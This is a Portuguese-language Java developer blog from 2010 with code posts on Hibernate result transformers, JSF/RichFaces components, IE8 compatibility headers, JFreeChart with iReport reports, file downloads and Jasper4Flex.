       * A coleção a ser criada seró de um tipo somente  
       *   
       *   
       *   
       * @param resultClass  
       */  
      public InteligentResultTransformer(Class resultClass) {  
           if (resultClass == null)  
                throw new IllegalArgumentException("resultClass cannot be null");  
           this.resultClass = resultClass;  
      }  
      /*  
       *   
       * (non-Javadoc)  
       *   
       * @see  
       * org.hibernate.transform.ResultTransformer#transformTuple(java.lang.Object  
       * [], java.lang.String[])  
       */  
      public Object transformTuple(Object[] tuple, String[] aliases) {  
           this.tuple = tuple;  
           this.aliases = aliases;  
           Object result;  
           try {  
                // instancia a classe de resultado  
                result = getResultClass().newInstance();  
                for (int i = 0; i < aliases.length; i++) {  
                     String alias = aliases[i];  
                     if (alias != null) {  
                          if (tuple[i] == null) {  
                               continue;  
                          }  
                          /*  
                           * se o alias contóm ponto ó porque a propriedade a ser  
                           * setada deveró ser  
                           *   
                           * navegada ató o final para ser preenchida  
                           *   
                           * (Ex: registroVO.tipoRegistroVO.descricao  
                           *   
                           * - instancia uma vez o tipoRegistroVO  
                           *   
                           * - seta a descricao com o valor da tupla)  
                           */  
                          if (alias.indexOf(".") != -1) {  
                               String[] split = alias.split("\\.");  
                               Object resultado = result;  
                               for (int j = 0; j < split.length; j++) {  
                                    String property = split[j];  
                                    // se for a óltima propriedade o valor da tupla  
                                    // deveró ser setado nela  
                                    if (j == (split.length - 1)) {  
                                         PropertyUtils.setProperty(resultado, property,  
                                                   tuple[i]);  
                                         break;  
                                    }  
                                    // do contrório instancio o tipo da propriedade se  
                                    // necessório e passo para o próximo  
                                    Object valor = PropertyUtils.getProperty(resultado,  
                                              property);  
                                    if (valor == null) {  
                                         Class tipo = PropertyUtils.getPropertyType(  
                                                   resultado, property);  
                                         valor = tipo.newInstance();  
                                         PropertyUtils.setProperty(resultado, property,  
                                                   valor);  
                                    }  
                                    resultado = valor;  
                               }  
                          } else {  
                               // se estiver em modo inteligente  
                               if (this.isInInteligentMode()) {  
                                    // pode ser que a propriedade nóo exista na classe  
                                    // que foi retornada pelo ResultClass  
                                    if (PropertyUtils.isWriteable(result, alias)) {  
                                         Setter mainSetter = getPropertyAcessor()  
                                                   .getSetter(getResultClass(), alias);  
                                         mainSetter.set(result, tuple[i], null);  
                                    }  
                               } else {  
                                    // do contrório nóo ó admissóvel que a propriedade  
                                    // nóo exista na classe informada  
                                    Setter mainSetter = getPropertyAcessor().getSetter(  
                                              getResultClass(), alias);  
                                    mainSetter.set(result, tuple[i], null);  
                               }  
                          }  
                     }  
                }  
           } catch (Exception e) {  
                throw new HibernateException(e);  
           }  
           return result;  
      }  
      /**  
       *   
       * Retornar a classe que deveró ser instanciada e preenchida com o resultado  
       *   
       * @return  
       */  
      private Class getResultClass() {  
           // se o rc ó nulo nóo estó em modo inteligente  
           if (!this.isInInteligentMode()) {  
                return this.resultClass;  
           }  
           // recupero um mapa com o resultado cró retornado pelo hibernate  
           Map propriedades = getMap(tuple, aliases);  
           // invoco o result class que foi passado com as propridades  
           Class resultClass2 = rc.getResultClass(propriedades);  
           // e ele deveró me passar o tipo da classe a ser instanciada  
           return resultClass2;  
      }  
      /**  
       *   
       * Cria um mapa de propriedades para passar para a instóncia da ResultClass  
       *   
       * @param tuple  
       *   
       * @param aliases  
       *   
       * @return  
       */  
      private Map getMap(Object[] tuple, String[] aliases) {  
           HashMap map = new HashMap();  
           for (int i = 0; i < aliases.length; i++) {  
                map.put(aliases[i], tuple[i]);  
           }  
           return map;  
      }  
      /*  
       *   
       * (non-Javadoc)  
       *   
       * @see  
       * org.hibernate.transform.ResultTransformer#transformList(java.util.List)  
       */  
      public List transformList(List collection) {  
           return collection;  
      }  
      /**  
       *   
       * Retorna o property acessor de acordo com a classe que seró instónciada  
       *   
       * @return  
       */  
      public PropertyAccessor getPropertyAcessor() {  
           if (propertyAccessor == null && !this.isInInteligentMode()) {  
                propertyAccessor = new ChainedPropertyAccessor(  
                          new PropertyAccessor[] {  
                                    PropertyAccessorFactory.getPropertyAccessor(  
                                              resultClass, null),  
                                    PropertyAccessorFactory  
                                              .getPropertyAccessor("field") });  
           }  
           if (this.isInInteligentMode()) {  
                Class resultClass2 = this.getResultClass();  
                String className = resultClass2.getName();  
                Object propertyAcessor = this.propertyAccessors.get(className);  
                if (propertyAcessor == null) {  
                     this.propertyAccessors.put(  
                               className,  
                               new ChainedPropertyAccessor(new PropertyAccessor[] {  
                                         PropertyAccessorFactory.getPropertyAccessor(  
                                                   resultClass2, null),  
                                         PropertyAccessorFactory  
                                                   .getPropertyAccessor("field") }));  
                }  
                return (PropertyAccessor) this.propertyAccessors.get(className);  
           }  
           return this.propertyAccessor;  
      }  
      /**  
       *   
       *   
       *   
       * @param resultClass  
       */  
      public void setResultClass(ResultClass resultClass) {  
           this.rc = resultClass;  
      }  
      /**  
       *   
       * Quando o {@link InteligentResultTransformer} ó instanciado para criar um  
       * tipo de objeto  
       *   
       * Esse mótodo retorna false.  
       *   
       * Quando essa classe ó instanciada com uma instancia do ResultClass  
       *   
       * Ele retorna true.  
       *   
       * @return  
       */  
      private boolean isInInteligentMode() {  
           return this.rc != null;  
      }  
 }  

e o ResultClass :

 import java.util.Map;  
 /**  
  *   
  * Classe de resultado, deveró retornar o tipo do objeto para ser instanciado  
  * de acordo com o resultMap passado como parómetro  
  *   
  * @see InteligentResultTransformer  
  * @author deinf.sdantas  
  *   
  */  
 public interface ResultClass {  
      public Class getResultClass(Map resultMap);  
 }  

sexta-feira, 24 de setembro de 2010

Emulando IE7 no richfaces jsf (Problemas no IE8)

Tem varias formas de fazer a emulação do ie7 ...
 import javax.servlet.Filter;  
 import javax.servlet.FilterChain;  
 import javax.servlet.FilterConfig;  
 import javax.servlet.ServletException;  
 import javax.servlet.ServletRequest;  
 import javax.servlet.ServletResponse;  
 import javax.servlet.http.HttpServletResponse;  
 /**  
  * Servlet Filter implementation class IE8CompatablityFixServlet  
  */  
 public class IE8CompatablityFixServlet implements Filter {  
      /**  
       * Default constructor.  
       */  
      public IE8CompatablityFixServlet() {  
      }  
      /**  
       * @see Filter#destroy()  
       */  
      public void destroy() {  
      }  
      /**  
       * @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain)  
       */  
      public void doFilter(ServletRequest request, ServletResponse response,  
                FilterChain chain) throws IOException, ServletException {  
           ((HttpServletResponse) response).setHeader("X-UA-Compatible",  
                     "IE=EmulateIE7");  
           chain.doFilter(request, response);  
      }  
      /**  
       * @see Filter#init(FilterConfig)  
       */  
      public void init(FilterConfig fConfig) throws ServletException {  
      }  
 }  
E no web.xml : 

<filter>
    <display-name>IE8CompatablityFixServlet</display-name>
    <filter-name>IE8CompatablityFixServlet</filter-name>
    <filter-class>br.com.sintel.plan.presentation.utils.IE8CompatablityFixServlet</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>IE8CompatablityFixServlet</filter-name>
    <url-pattern>/IE8CompatablityFixServlet</url-pattern>
  </filter-mapping>


Opção 2 : 

<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
...
<head/>


Particularmente .. a Opção 1 funciona melhor ! 

Abraços ...

Sem mais !

Criando um persistence unit na mão !

A Configuração :
 Ejb3Configuration ejbconf = new Ejb3Configuration();  
   ejbconf.setProperty("hibernate.connection.datasource", "java:/" + datasourceName);  
   ejbconf.setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLInnoDBDialect");  
   ejbconf.setProperty("hibernate.show_sql", "false");  
   ejbconf.setProperty("hibernate.ejb.naming_strategy","com.fcl.greenfield.naming.FCLNamingStrategy");  
   ejbconf.setProperty("hibernate.hbm2ddl.auto", "update");  

Usando :

 Logger.info("Building SessionFactory");
    EntityManagerFactory emf = ejbconf.createEntityManagerFactory();
    EntityManager em = emf.createEntityManager(); 

Facil né ? ! aeuUAEhuaehuaheuHEuae

Sem mais !

segunda-feira, 13 de setembro de 2010

Painel modal de status “loading” ou processando ... com a4j:status


Problema:

Como implementar uma tela modal de status “loading” com Ajax?

Solução:

Achei um post bem bom que mostra como fazer, abaixo segue uma copia de trechos do post (necessário para garantir a permanecia da informação):

O a4j:status é um indicador de uma solicitação Ajax. Apresenta um aviso ao usuário enquanto o sistema está processando sua solicitação.
Este componente tem dois estados: start e stop.
O estado start indica que uma solicitação Ajax está em andamento.
O componente muda para o estado stop quando a solicitação Ajax é finalizada.
Quando uma solicitação Ajax é enviada o evento onstart do componente a4j:status é acionado, então ele abre o ModalPanel com o id “panel_loading”.
Quando a solicitação é finalizada, o componente muda seu estado para onstop e chama a função responsável em fechar o ModalPanel.


<rich:modalPanel id="panel_loading" autosized="true">

<h:graphicImage url="/img/loading.gif" style="border:0px; vertical-align: middle;" />

<rich:spacer width="20" />

<h:outputText value="Aguarde..." />

</rich:modalPanel>

<a4j:status id="loading" onstart="Richfaces.showModalPanel('panel_loading')" onstop="Richfaces.hideModalPanel('panel_loading')" />
Ate mais ! ;)

quinta-feira, 9 de setembro de 2010

Chamar uma funcao da pagina pai dentro de um iframe !


Página Pai

<script language="Javascript">
function test() { alert('teste de mensagem'); };
</script>

..  html ...

<iframe src="http://siteY.com/page_y.htm"></iframe>
 Página IFrame

<script language="Javascript">
parent.test();
</script>
Página em servidores diferentes
Se as páginas ficarem em servidores diferentes deve usar essa linha de comando para evitar o erro de Permissão Negada

<script language="Javascript">
document.domain = "microsoft.com"
</script>

E digo mais ainda ... da para usar isso com o JSF + Rich .... por exemplo.... se vc esta abrindo um iframe dentro de um modal panel.... e quer fechar e nao sabe como ... hehehehe .. facil ... no onclick do button
coloca assim : window.parent.Richfaces.hideModalPanel('nome');  q funciona :D :D :D :D :D


EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE !!!!!

Sem mais !!!

segunda-feira, 6 de setembro de 2010

JfreeChart & iReport


O que é JFreeChart?

Visão Geral
JFreeChart é uma biblioteca livre para a  plataforma Java(tm). Foi desenvolvida para ser utilizada em Aplicações Desktop, Applets, Servlets e JSP.

jfreechartfig01.JPG
Figura 1 – Exemplo de gráfico do JFreeChart.

Características
Jfreechart pode ser usado para gerar gráficos de Pizza, gráficos de Barra, gráficos de linha (com ou sem efeito 3D), gráficos combinados, dentre diversos outros tipos de gráficos. Exporta dados para o formato PNG ou JPEG, Exporta para qualquer formato usando a implementação de Graphics2D incluindo:
– PDF via iText (http://www.lowagie.com/iText/);
– SVG via Batik (http://xml.apache.org/batik/);

Jfreechart é inteiramente escrito em Java e pode ser utilizado em qualquer implementação da plataforma Java 2 (JDK 1.2.2 ou superior).

Obtendo o JfreeChart
JfreeChart pode ser baixado a partir do endereço:


Neste endereço você poderá obter as ultimas informações sobre JfreeChart, exemplos de gráficos, downloads, documentação e até um fórum.

Sobre este Tutorial
Neste tutorial, procurarei mostrar como se faz para criar um gráfico a partir de uma fonte de dados e mostrar este gráfico em um relatório gerado no iReport a partir de um Servlet. Usando como exemplo um relatório comparativo de vendas de CDs e DVDs durante um certo período.

Não daremos muitas explicações sobre iReport, pois este não é o objetivo deste tutorial. Apresentaremos apenas como montar um modelo no iReport para receber o gráfico gerado.

Veremos também que o código necessário para a chamada do relatório é mínimo.

Para este tutorial usei o JfreeChart 1.0.1 que é a ultima versão disponível para Download.

Servlets
A API de Java Servlets é uma tecnologia muito usada para a criação de Aplicações Web e  JfreeChart é um serviço muito bom para ser usado também por Servlets.

Neste tutorial vamos mostrar um Servlet gerando um gráfico e em seguida chamando um relatório criado no iReport mostrando o gráfico gerado.

O método doGet(...)
O método doGet(...) é chamado pelo Servlet quando uma requisição é enviada pelo cliente (geralmente através de um browser). Em resposta à requisição o Servlet que iremos criar irá realizar os seguintes passos:

  • Obtém uma referencia de OutputStream para retornar uma saída ao cliente;
  • Cria o gráfico;
  • Um content type para a resposta é settado para Application/Pdf para exibir o relatório em formato PDF;
  • Criar o relatório passando para ele os dados que geraram o gráfico e a imagem do gráfico gerada.
  • Fechar o OutputStream.
Adicionando os Jar’s
Os .jar’s do JfreeChart que utilizei são jcommon-1.0.0.jar e jfreechart-1.0.1.jar. Primeiramente vamos adicioná-los ao lib do nosso projeto.

jfreechartfig021.JPG
Figura 2 – Adicionando os jar’s do JFreeChart.

Os Jar’s do iReport que utilizei são: jasperreports-1.2.0.jar, commonslogging-api-1.0.2.jar, commons-collections-3.1.jar, barbecue-1.1.jar, iReport.jar, commons-beanutils-1.5.jar, itext-1.3.1.jar.

jfreechartfig03.JPG
Figura 3 – Adicionando os jar’s do iReport.

Gerando os Gráficos
Primeiramente, vamos criar as classes ModeloGraficoItem que armazenará os dados que darão origem ao gráfico e ComposicaoDadosItemGrafico que gerará valores arbitrários que serão exibidos no gráfico:

ModeloGraficoItem.java

 import java.io.Serializable;  
 import java.util.ArrayList;  
 public class ModeloGraficoItem implements Serializable {  
   private String mes;  
   private String produto;  
   private int quantidade;  
   public ModeloGraficoItem() {  
   }  
   public ModeloGraficoItem(String mes, String produto, int quantidade) {  
     this.mes = mes;  
     this.produto = produto;  
     this.quantidade = quantidade;  
   }  
   public String getMes() {  
     return mes;  
   }  
   public void setMes(String mes) {  
     this.mes = mes;  
   }  
   public String getProduto() {  
     return produto;  
   }  
   public void setProduto(String produto) {  
     this.produto = produto;  
   }  
   public int getQuantidade() {  
     return quantidade;  
   }  
   public void setQuantidade(int quantidade) {  
     this.quantidade = quantidade;  
   }  
 }  

ComposicaoDadosItemGrafico.java

 import java.util.ArrayList;  
 public class ComposicaoDadosItemGrafico {  
   protected ArrayList array = new ArrayList();  
   public ComposicaoDadosItemGrafico() {  
     array.add(new ModeloGraficoItem("JANEIRO", "CD", 20));  
     array.add(new ModeloGraficoItem("FEVEREIRO", "CD", 30));  
     array.add(new ModeloGraficoItem("MARCO", "CD", 40));  
     array.add(new ModeloGraficoItem("ABRIL", "CD", 50));  
     array.add(new ModeloGraficoItem("MAIO", "CD", 60));  
     array.add(new ModeloGraficoItem("JUNHO", "CD", 70));  
     array.add(new ModeloGraficoItem("JANEIRO", "DVD", 10));  
     array.add(new ModeloGraficoItem("FEVEREIRO", "DVD", 70));  
     array.add(new ModeloGraficoItem("MARCO", "DVD", 140));  
     array.add(new ModeloGraficoItem("ABRIL", "DVD", 10));  
     array.add(new ModeloGraficoItem("MAIO", "DVD", 54));  
     array.add(new ModeloGraficoItem("JUNHO", "DVD", 23));  
   }  
   public ArrayList getArray() {  
     return array;  
   }  
   public void setArray(ArrayList array) {  
     this.array = array;  
   }  
 }  

A seguir a classe GeradorGrafico implementa 2 tipos de gráficos: Gráfico de Barras e Gráfico de Linha com e sem efeito 3D.

 import java.awt.image.BufferedImage;  
 import java.util.ArrayList;  
 import java.util.Iterator;  
 import org.jfree.chart.ChartFactory;  
 import org.jfree.chart.JFreeChart;  
 import org.jfree.chart.plot.PiePlot;  
 import org.jfree.chart.plot.PlotOrientation;  
 import org.jfree.data.category.DefaultCategoryDataset;  
 import org.jfree.data.general.DefaultPieDataset;  
 import java.awt.Color;  
 public class GeradorGrafico {  
   public GeradorGrafico() {  
   }  
   /**  
    * Gera um gráfico de barras 3D Vertical  
    * @param tituloGrafico String, o titulo do gráfico  
    * @param tituloEixoX String, o titulo do eixo X  
    * @param tituloEixoY String, o titulo do eixo Y  
    * @param arrayValores ArrayList, a lista com os valores para o gráfico  
    * @return BufferedImage, a imagem do Gráfico gerada  
    *  
    * A classe DefaultCategoryDataset recebe os valores que irão gerar o gráfico  
    * DefaultCategoryDataset.addValue(Number, Comparable, Comparable)  
    * DefaultCategoryDataset.addValue(Double, Comparable, Comparable)  
    */  
   public static BufferedImage gerarGraficoBarraVertical3D(String tituloGrafico, String  
         tituloEixoX, String tituloEixoY, ArrayList arrayValores) throws Exception {  
     BufferedImage buf = null;  
     try {  
       DefaultCategoryDataset defaultCategoryDataset = new DefaultCategoryDataset();  
       Iterator iterator = arrayValores.iterator();  
       while (iterator.hasNext()) {  
         ModeloGraficoItem modelo = (ModeloGraficoItem) iterator.next();  
         defaultCategoryDataset.addValue(modelo.getQuantidade(),  
                   modelo.getProduto(), modelo.getMes().substring(0, 3));  
       }  
       JFreeChart chart = ChartFactory.createBarChart3D(tituloGrafico, tituloEixoX,  
              tituloEixoY, defaultCategoryDataset, PlotOrientation.VERTICAL,  
              true, false, false);  
       chart.setBorderVisible(true);  
       chart.setBorderPaint(Color.black);  
       buf = chart.createBufferedImage(400, 250);  
     } catch (Exception e) {  
       throw new Exception(e);  
     }  
     return buf;  
   }  
   /**  
    * Gera um gráfico de barras Vertical  
    */  
   public static BufferedImage gerarGraficoBarraVertical(String tituloGrafico, String  
         tituloEixoX, String tituloEixoY, ArrayList arrayValores)throws Exception {  
     BufferedImage buf = null;  
     try {  
       DefaultCategoryDataset defaultCategoryDataset = new DefaultCategoryDataset();  
       Iterator iterator = arrayValores.iterator();  
       while (iterator.hasNext()) {  
         ModeloGraficoItem modelo = (ModeloGraficoItem) iterator.next();  
         defaultCategoryDataset.addValue(modelo.getQuantidade(),  
                   modelo.getProduto(), modelo.getMes().substring(0, 3));  
       }  
       JFreeChart chart = ChartFactory.createBarChart(tituloGrafico, tituloEixoX,  
     tituloEixoY, defaultCategoryDataset, PlotOrientation.VERTICAL, true, false, false);  
       chart.setBorderVisible(true);  
       chart.setBorderPaint(Color.black);  
       buf = chart.createBufferedImage(400, 250);  
     } catch (Exception e) {  
       throw new Exception(e);  
     }  
     return buf;  
   }  
   /**  
    * Gera um Grafico de Linhas  
    */  
   public static BufferedImage gerarGraficoLinha(String tituloGrafico, String tituloEixoX,  
                String tituloEixoY, ArrayList arrayValores) throws Exception {  
     BufferedImage buf = null;  
     try {  
       DefaultCategoryDataset defaultCategoryDataset = new DefaultCategoryDataset();  
       Iterator iterator = arrayValores.iterator();  
       while (iterator.hasNext()) {  
         ModeloGraficoItem modelo = (ModeloGraficoItem) iterator.next();  
         defaultCategoryDataset.addValue(modelo.getQuantidade(),  
                    modelo.getProduto(), modelo.getMes().substring(0, 3));  
       }  
       JFreeChart chart = ChartFactory.createLineChart(tituloGrafico, tituloEixoX,  
                tituloEixoY, defaultCategoryDataset, PlotOrientation.VERTICAL,  
                true, false, false);  
       chart.setBorderVisible(true);  
       chart.setBorderPaint(Color.black);  
       buf = chart.createBufferedImage(400, 250);  
     } catch (Exception e) {  
       throw new Exception(e);  
     }  
     return buf;  
   }  
   /**  
    * Gera um grafico de linhas 3D  
    */  
   public static BufferedImage gerarGraficoLinha3D(String tituloGrafico, String  
         tituloEixoX, String tituloEixoY, ArrayList arrayValores)throws Exception {  
     BufferedImage buf = null;  
     try {  
       DefaultCategoryDataset defaultCategoryDataset = new DefaultCategoryDataset();  
       Iterator iterator = arrayValores.iterator();  
       while (iterator.hasNext()) {  
         ModeloGraficoItem modelo = (ModeloGraficoItem) iterator.next();  
         defaultCategoryDataset.addValue(modelo.getQuantidade(),  
                    modelo.getProduto(), modelo.getMes().substring(0, 3));  
       }  
       JFreeChart chart = ChartFactory.createLineChart3D(tituloGrafico, tituloEixoX,  
                tituloEixoY, defaultCategoryDataset, PlotOrientation.VERTICAL,  
                true, false, false);  
       chart.setBorderVisible(true);  
       chart.setBorderPaint(Color.black);  
       buf = chart.createBufferedImage(400, 250);  
     } catch (Exception e) {  
       throw new Exception(e);  
     }  
     return buf;  
   }  
 }  
Fonte : http://www.devmedia.com.br

SelectOneRadio em linha ou coluna


Ta ai galera .. :D

<h:selectOneRadio layout="pageDirection" /> <%-- Vertical --%>
<h:selectOneRadio layout="lineDirection" /> <%-- Horizontal --%>

sexta-feira, 27 de agosto de 2010

Popup no commandLink

Pessoal ....

Um jeito facil de chamar relatorios em pdf .. sei la ... alguma coisa assim dentro de uma popup 8-)

Precisei disso esses dias ... consegui fazer e estou passando p vcs !!

<h:commandlink action="stringDaAction" value="#{msg['labeldocommandlink']}" onclick="javascript:window.open('','stringDaAction','height=600px,width=850px,toolbar=no,scrollbars=yes,resizable=no,menubar=no')" target="stringDaAction"/>

Bjunda !

sexta-feira, 20 de agosto de 2010

Trabalhando com ExtendedDataTable e DataProvider

Bom pessoal .. estava trabalhando num projeto novo e me deparei com um problema do cão .. "ExtendedDataTable" ... parece bom mas da um trabalho .... JESUSSSSSSSs .. mas blz ... tive q fazer ai umas POGs para funcionar .. mas ta blz .. estou passando o conhecimento para quem precisa ai ... vai um exemplo de como implementar o tal do DataProvider .... VLW q q coisa avisem !!
 public abstract class CustomDataProvider implements DataProvider{  
  private static final long serialVersionUID = 4469974447038357692L;  
  public List dados;  
  public CustomDataProvider(List dados) {  
  this.setDados(dados);  
  }  
  public T getItemByKey(Object arg0) {  
  for (Object c : this.getDados()) {  
   if (arg0.equals(getKey((T)c))) {  
   return (T) c;  
   }  
  }  
  return null;  
  }  
  public abstract Object getKey(T arg0);  
  public List getItemsByRange(int arg0, int arg1) {  
  return getDados().subList(arg0, arg1);  
  }  
  public int getRowCount() {  
  return getDados().size();  
  }  
  public List getDados() {  
  return dados;  
  }  
  private void setDados(List dados) {  
  this.dados = dados;  
  }  
 }  
}

Modo de usar : Bater 2 ovos com aveia de manha ... ops ...  errei ...

  XXXXX = new ExtendedTableDataModel(  
   new CustomDataProvider(dsItens){  
    public Object getKey(TipoObjetoDaLista item) {  
    return item.getCodCliente(); // Exemplo !  
    }  
   });  

segunda-feira, 16 de agosto de 2010

Operações com arquivos

 import java.io.File;  
 import java.io.FileInputStream;  
 import java.io.IOException;  
 import java.io.OutputStream;  
 import javax.faces.context.ExternalContext;  
 import javax.faces.context.FacesContext;  
 import javax.servlet.http.HttpServletResponse;  
 public class OperacoesArquivos {  
   public static synchronized void downloadFile(String filename, String fileLocation, String mimeType,  
                          FacesContext facesContext) {  
     String path = fileLocation; // Localizacao do arquivo  
     String fullFileName = path + filename;  
     File file = new File(path); // Objeto arquivo mesmo :)  
     OperacoesArquivos.downloadFile(filename, file, facesContext, mimeType);  
   }  
   public static synchronized void downloadFile(String filename,File arquivo,FacesContext facesContext,String mimeType){  
     ExternalContext context = facesContext.getExternalContext(); // Context  
     HttpServletResponse response = (HttpServletResponse) context.getResponse();  
     try {  
       FileInputStream in = new FileInputStream(arquivo);  
       OutputStream out = response.getOutputStream();  
       byte[] buf = new byte[(int)arquivo.length()];  
       if (buf.length > 0){       
         int count;       
         while ((count = in.read(buf)) >= 0) {  
           out.write(buf, 0, count);  
         }  
       }  
       in.close();  
       out.flush();  
       out.close();  
       facesContext.responseComplete();  
     } catch (IOException ex) {  
       System.out.println("Error in downloadFile: " + ex.getMessage());  
       ex.printStackTrace();  
     }  
     response.setHeader("Content-Disposition", "attachment;filename=\"" + filename + "\""); //aki eu seto o header e o nome q vai aparecer na hr do donwload  
     response.setContentLength((int) arquivo.length()); // O tamanho do arquivo  
     response.setContentType(mimeType); // e obviamente o tipo  
   }  
 }  

JSFUtil Utilitario para manipular paginas em jsf

Bom pessoal .. deps de um LONGO tempo sem mexer em jsf .. estou voltando à ativa no jsf... mtas novidades mas .. não posso deixar de usar as coisas q eu ja implementei .. então la vai um utilitário para manipular jsf .. Abraços


 import java.util.Map;  
 import javax.faces.FactoryFinder;  
 import javax.faces.application.Application;  
 import javax.faces.application.ApplicationFactory;  
 import javax.faces.application.FacesMessage;  
 import javax.faces.context.ExternalContext;  
 import javax.faces.context.FacesContext;  
 import javax.faces.el.ValueBinding;  
 import javax.faces.webapp.UIComponentTag;  
 import javax.servlet.ServletContext;  
 import javax.servlet.http.HttpServletRequest;  
 import javax.servlet.http.HttpServletResponse;  
 import javax.servlet.http.HttpSession;  
 /**  
  *  
  * @author Caio Paulucci  
  */  
 public class JSFHelper {  
   public static ExternalContext getExternalContext() {  
     FacesContext facesContext = FacesContext.getCurrentInstance();  
     return facesContext.getExternalContext();  
   }  
   public static String getRequestParameter(String parameterName) {  
     Map paramMap = getExternalContext().getRequestParameterMap();  
     return (String) paramMap.get(parameterName);  
   }  
   public static Object getRequestAttribute(String attributeName) {  
     Map attrMap = getExternalContext().getRequestMap();  
     return attrMap.get(attributeName);  
   }  
   public static Object getSessionAttribute(String attributeName) {  
     Map attrMap = getExternalContext().getSessionMap();  
     return attrMap.get(attributeName);  
   }  
   public static void setSessionAttribute(String attributeName, Object attribute) {  
     Map attrMap = getExternalContext().getSessionMap();  
     attrMap.put(attributeName, attribute);  
   }  
   public static Object getApplicationAttribute(String attributeName) {  
     Map attrMap = getExternalContext().getApplicationMap();  
     return attrMap.get(attributeName);  
   }  
   public static void addGlobalMessage(String message) {  
     FacesMessage facesMessage = new FacesMessage(message);  
     FacesContext.getCurrentInstance().addMessage(null, facesMessage);  
   }  
   public static FacesContext getFacesContext(){  
     return FacesContext.getCurrentInstance();  
   }  
   /**  
    * Get servlet context.  
    *  
    * @return the servlet context  
    */  
   public static ServletContext getServletContext() {  
     return (ServletContext) FacesContext.getCurrentInstance()  
                       .getExternalContext().getContext();  
   }  
   /**  
    * Get managed bean based on the bean name.  
    *  
    * @param beanName the bean name  
    * @return the managed bean associated with the bean name  
    */  
   public static Object getManagedBean(String beanName) {  
     Object o =  
       getValueBinding(getJsfEl(beanName)).getValue(FacesContext.getCurrentInstance());  
     return o;  
   }  
   /**  
    * Remove the managed bean based on the bean name.  
    *  
    * @param beanName the bean name of the managed bean to be removed  
    */  
   public static void resetManagedBean(String beanName) {  
     getValueBinding(getJsfEl(beanName)).setValue(FacesContext.getCurrentInstance(),  
                            null);  
   }  
   /**  
    * Store the managed bean inside the session scope.  
    *  
    * @param beanName the name of the managed bean to be stored  
    * @param managedBean the managed bean to be stored  
    */  
   @SuppressWarnings("unchecked")  
  public static void setManagedBeanInSession(String beanName,  
                         Object managedBean) {  
     FacesContext.getCurrentInstance().getExternalContext().getSessionMap()  
           .put(beanName, managedBean);  
   }  
   /**  
    * Get parameter value from request scope.  
    *  
    * @param name the name of the parameter  
    * @return the parameter value  
    */  
   public static Map getRequestParameters() {  
     return FacesContext.getCurrentInstance().getExternalContext()  
                   .getRequestParameterMap();  
   }  
   /**  
    * Add information message.  
    *  
    * @param msg the information message  
    */  
   public static void addInfoMessage(String msg) {  
     addInfoMessage(null, msg);  
   }  
   /**  
    * Add information message to a sepcific client.  
    *  
    * @param clientId the client id  
    * @param msg the information message  
    */  
   public static void addInfoMessage(String clientId, String msg) {  
     FacesContext.getCurrentInstance().addMessage(clientId,  
                            new FacesMessage(FacesMessage.SEVERITY_INFO,  
                                    msg, msg));  
   }  
   /**  
    * Add error message.  
    *  
    * @param msg the error message  
    */  
   public static void addErrorMessage(String msg) {  
     addErrorMessage(null, msg);  
   }  
   /**  
    * Add error message to a sepcific client.  
    *  
    * @param clientId the client id  
    * @param msg the error message  
    */  
   public static void addErrorMessage(String clientId, String msg) {  
     FacesContext.getCurrentInstance().addMessage(clientId,  
                            new FacesMessage(FacesMessage.SEVERITY_ERROR,  
                                    msg, msg));  
   }  
   /**  
    * Evaluate the integer value of a JSF expression.  
    *  
    * @param el the JSF expression  
    * @return the integer value associated with the JSF expression  
    */  
   public static Integer evalInt(String el) {  
     if (el == null) {  
       return null;  
     }  
     if (UIComponentTag.isValueReference(el)) {  
       Object value = getElValue(el);  
       if (value == null) {  
         return null;  
       } else if (value instanceof Integer) {  
         return (Integer) value;  
       } else {  
         return new Integer(value.toString());  
       }  
     } else {  
       return new Integer(el);  
     }  
   }  
   private static Application getApplication() {  
     ApplicationFactory appFactory =  
       (ApplicationFactory) FactoryFinder.getFactory(FactoryFinder.APPLICATION_FACTORY);  
     return appFactory.getApplication();  
   }  
   private static ValueBinding getValueBinding(String el) {  
     return getApplication().createValueBinding(el);  
   }  
   public static HttpServletRequest getRequest() {  
     return (HttpServletRequest) FacesContext.getCurrentInstance()  
                         .getExternalContext()  
                         .getRequest();  
   }  
   public static HttpServletResponse getResponse() {  
     return (HttpServletResponse) FacesContext.getCurrentInstance()  
                         .getExternalContext()  
                         .getResponse();  
   }  
   public static HttpSession getSession() {  
     return (HttpSession) FacesContext.getCurrentInstance()  
                         .getExternalContext()  
                         .getSession(false);  
   }  
   private static Object getElValue(String el) {  
     return getValueBinding(el).getValue(FacesContext.getCurrentInstance());  
   }  
   private static String getJsfEl(String value) {  
     return "#{" + value + "}";  
   }  
 }  

domingo, 21 de fevereiro de 2010

Relatorio em flex usando IReport com Jasper4Flex

Recentemente por uma iniciativa de Teodor Danciu, foi desenvolvido mais uma opção de renderização de relatórios feitos em jasper, so que desta vez em swf, ou seja, para desenvolvimento Flex, conhecido como Jasper4Flex, o mesmo possui algumas peculiaridades em relação ao FlexReport, pois constitui base jasper server-side, então toda a geração do relatório ocorre no servidor jasper seguido de um parser Jasper4Flex, feito por um servlet registrado no deploy descriptor:
web.xml
….
<servlet>
<servlet-name>SwfServletservlet-name>
<servlet-class>net.sf.jasperreports.j2ee.servlets.SwfServletservlet-class>
servlet>
<servlet-mapping>
<servlet-name>SwfServletservlet-name>
<url-pattern>/servlets/swfurl-pattern>
servlet-mapping>
……
Em poucas linhas podemos fazer nossa chamada apartir de um servlet.


JasperPrint impressao = JasperFillManager.
fillReport("Report_exemplo.jasper", parametros,conn);
HttpSession session = request.getSession();
session.
setAttribute(BaseHttpServlet.DEFAULT_JASPER_PRINT_SESSION_ATTRIBUTE, impressao);
response.sendRedirect("servlets/swf");


Neste caso foi criado um servlet para testar o exemplo. O código, não tem muito mistério a única diferença está, em como esse servlet vai responder essa requisição direcionando ’servlets/swf’. O resto o jasper4Flex se encarrega de fazer. Estou ate satisfeito com os testes que tenho feito ate agora. Mais o projeto é muito recente? Sim, eu sei mais a comunidade esta ai pra isso, testar, motivar e colaborar. Vejo isso como mais um incentivo a desenvolvedores que querem usar projetos Java em front-end Flex. Os exemplos podem ser baixados aqui no site do projeto.